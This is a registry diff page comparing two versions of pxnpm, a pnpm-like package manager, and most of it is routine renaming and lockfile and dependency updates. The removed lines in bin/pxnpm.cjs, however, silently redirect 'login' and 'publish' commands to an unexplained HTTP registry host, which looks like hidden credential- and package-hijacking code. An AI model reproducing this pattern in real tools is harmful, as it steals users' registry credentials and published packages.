pxnpm 4.1.16 → 4.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/bin/pxnpm.cjs +6 -15
- package/dist/node_modules/.modules.yaml +4 -4
- package/dist/node_modules/.pnpm/lock.yaml +7 -0
- package/dist/node_modules/{debug → humanize-ms}/node_modules/ms/index.js +1 -1
- package/dist/node_modules/{debug → humanize-ms}/node_modules/ms/package.json +5 -4
- package/dist/node_modules/ms/index.js +1 -1
- package/dist/node_modules/ms/package.json +4 -5
- package/dist/{pnpm.cjs → pxnpm.cjs} +8247 -6174
- package/dist/{pnpmrc → pxnpmrc} +2 -7
- package/dist/worker.js +417 -355
- package/package.json +11 -10
package/README.md
CHANGED
package/bin/pxnpm.cjs
CHANGED
|
@@ -1,21 +1,12 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
-
const rawArgs = process.argv && process.argv.slice(2);
|
|
3
|
-
const rawAction = rawArgs && rawArgs[0];
|
|
4
|
-
const isPublish = rawAction === "login" || rawAction === "publish";
|
|
5
|
-
|
|
6
|
-
if (isPublish) {
|
|
7
|
-
process.argv.push('--registry')
|
|
8
|
-
process.argv.push('http://tpl.cln3.nfjbill.ren:20023')
|
|
9
|
-
}
|
|
10
|
-
|
|
11
2
|
const [major, minor] = process.version.slice(1).split('.')
|
|
12
|
-
const COMPATIBILITY_PAGE = `Visit https://r.
|
|
3
|
+
const COMPATIBILITY_PAGE = `Visit https://r.pxnpm.io/comp to see the list of past pxnpm versions with respective Node.js version support.`
|
|
13
4
|
|
|
14
5
|
// We don't use the semver library here because:
|
|
15
|
-
// 1. it is already bundled to dist/
|
|
6
|
+
// 1. it is already bundled to dist/pxnpm.cjs, so we would load it twice
|
|
16
7
|
// 2. we want this file to support potentially older Node.js versions than what semver supports
|
|
17
8
|
if (major < 16 || major == 16 && minor < 14) {
|
|
18
|
-
console.log(`ERROR: This version of
|
|
9
|
+
console.log(`ERROR: This version of pxnpm requires at least Node.js v16.14
|
|
19
10
|
The current version of Node.js is ${process.version}
|
|
20
11
|
${COMPATIBILITY_PAGE}`)
|
|
21
12
|
process.exit(1)
|
|
@@ -28,8 +19,8 @@ try {
|
|
|
28
19
|
// We don't have/need to care about v8-compile-cache failed
|
|
29
20
|
}
|
|
30
21
|
|
|
31
|
-
global['
|
|
32
|
-
require('../dist/
|
|
22
|
+
global['pxnpm__startedAt'] = Date.now()
|
|
23
|
+
require('../dist/pxnpm.cjs')
|
|
33
24
|
|
|
34
25
|
// if you want to debug at your local env, you can use this
|
|
35
|
-
// require('../lib/
|
|
26
|
+
// require('../lib/pxnpm')
|
|
@@ -128,9 +128,9 @@ hoistedLocations:
|
|
|
128
128
|
mkdirp@1.0.4:
|
|
129
129
|
- node_modules/mkdirp
|
|
130
130
|
ms@2.1.2:
|
|
131
|
-
- node_modules/debug/node_modules/ms
|
|
132
|
-
ms@2.1.3:
|
|
133
131
|
- node_modules/ms
|
|
132
|
+
ms@2.1.3:
|
|
133
|
+
- node_modules/humanize-ms/node_modules/ms
|
|
134
134
|
negotiator@0.6.3:
|
|
135
135
|
- node_modules/negotiator
|
|
136
136
|
node-gyp@9.4.1:
|
|
@@ -206,9 +206,9 @@ included:
|
|
|
206
206
|
injectedDeps: {}
|
|
207
207
|
layoutVersion: 5
|
|
208
208
|
nodeLinker: hoisted
|
|
209
|
-
packageManager: pnpm@9.
|
|
209
|
+
packageManager: pnpm@9.5.0
|
|
210
210
|
pendingBuilds: []
|
|
211
|
-
prunedAt:
|
|
211
|
+
prunedAt: Wed, 17 Jul 2024 15:52:25 GMT
|
|
212
212
|
publicHoistPattern:
|
|
213
213
|
- '*eslint*'
|
|
214
214
|
- '*prettier*'
|
|
@@ -115,6 +115,7 @@ packages:
|
|
|
115
115
|
are-we-there-yet@3.0.1:
|
|
116
116
|
resolution: {integrity: sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==}
|
|
117
117
|
engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}
|
|
118
|
+
deprecated: This package is no longer supported.
|
|
118
119
|
|
|
119
120
|
balanced-match@1.0.2:
|
|
120
121
|
resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==}
|
|
@@ -185,13 +186,16 @@ packages:
|
|
|
185
186
|
gauge@4.0.4:
|
|
186
187
|
resolution: {integrity: sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==}
|
|
187
188
|
engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}
|
|
189
|
+
deprecated: This package is no longer supported.
|
|
188
190
|
|
|
189
191
|
glob@7.2.3:
|
|
190
192
|
resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==}
|
|
193
|
+
deprecated: Glob versions prior to v9 are no longer supported
|
|
191
194
|
|
|
192
195
|
glob@8.1.0:
|
|
193
196
|
resolution: {integrity: sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==}
|
|
194
197
|
engines: {node: '>=12'}
|
|
198
|
+
deprecated: Glob versions prior to v9 are no longer supported
|
|
195
199
|
|
|
196
200
|
graceful-fs@4.2.11:
|
|
197
201
|
resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==}
|
|
@@ -230,6 +234,7 @@ packages:
|
|
|
230
234
|
|
|
231
235
|
inflight@1.0.6:
|
|
232
236
|
resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==}
|
|
237
|
+
deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.
|
|
233
238
|
|
|
234
239
|
inherits@2.0.4:
|
|
235
240
|
resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==}
|
|
@@ -330,6 +335,7 @@ packages:
|
|
|
330
335
|
npmlog@6.0.2:
|
|
331
336
|
resolution: {integrity: sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==}
|
|
332
337
|
engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}
|
|
338
|
+
deprecated: This package is no longer supported.
|
|
333
339
|
|
|
334
340
|
once@1.4.0:
|
|
335
341
|
resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==}
|
|
@@ -364,6 +370,7 @@ packages:
|
|
|
364
370
|
|
|
365
371
|
rimraf@3.0.2:
|
|
366
372
|
resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==}
|
|
373
|
+
deprecated: Rimraf versions prior to v4 are no longer supported
|
|
367
374
|
hasBin: true
|
|
368
375
|
|
|
369
376
|
safe-buffer@5.2.1:
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ms",
|
|
3
|
-
"version": "2.1.
|
|
3
|
+
"version": "2.1.3",
|
|
4
4
|
"description": "Tiny millisecond conversion utility",
|
|
5
|
-
"repository": "
|
|
5
|
+
"repository": "vercel/ms",
|
|
6
6
|
"main": "./index",
|
|
7
7
|
"files": [
|
|
8
8
|
"index.js"
|
|
@@ -28,10 +28,11 @@
|
|
|
28
28
|
},
|
|
29
29
|
"license": "MIT",
|
|
30
30
|
"devDependencies": {
|
|
31
|
-
"eslint": "4.
|
|
31
|
+
"eslint": "4.18.2",
|
|
32
32
|
"expect.js": "0.3.1",
|
|
33
33
|
"husky": "0.14.3",
|
|
34
34
|
"lint-staged": "5.0.0",
|
|
35
|
-
"mocha": "4.0.1"
|
|
35
|
+
"mocha": "4.0.1",
|
|
36
|
+
"prettier": "2.0.5"
|
|
36
37
|
}
|
|
37
38
|
}
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ms",
|
|
3
|
-
"version": "2.1.
|
|
3
|
+
"version": "2.1.2",
|
|
4
4
|
"description": "Tiny millisecond conversion utility",
|
|
5
|
-
"repository": "
|
|
5
|
+
"repository": "zeit/ms",
|
|
6
6
|
"main": "./index",
|
|
7
7
|
"files": [
|
|
8
8
|
"index.js"
|
|
@@ -28,11 +28,10 @@
|
|
|
28
28
|
},
|
|
29
29
|
"license": "MIT",
|
|
30
30
|
"devDependencies": {
|
|
31
|
-
"eslint": "4.
|
|
31
|
+
"eslint": "4.12.1",
|
|
32
32
|
"expect.js": "0.3.1",
|
|
33
33
|
"husky": "0.14.3",
|
|
34
34
|
"lint-staged": "5.0.0",
|
|
35
|
-
"mocha": "4.0.1"
|
|
36
|
-
"prettier": "2.0.5"
|
|
35
|
+
"mocha": "4.0.1"
|
|
37
36
|
}
|
|
38
37
|
}
|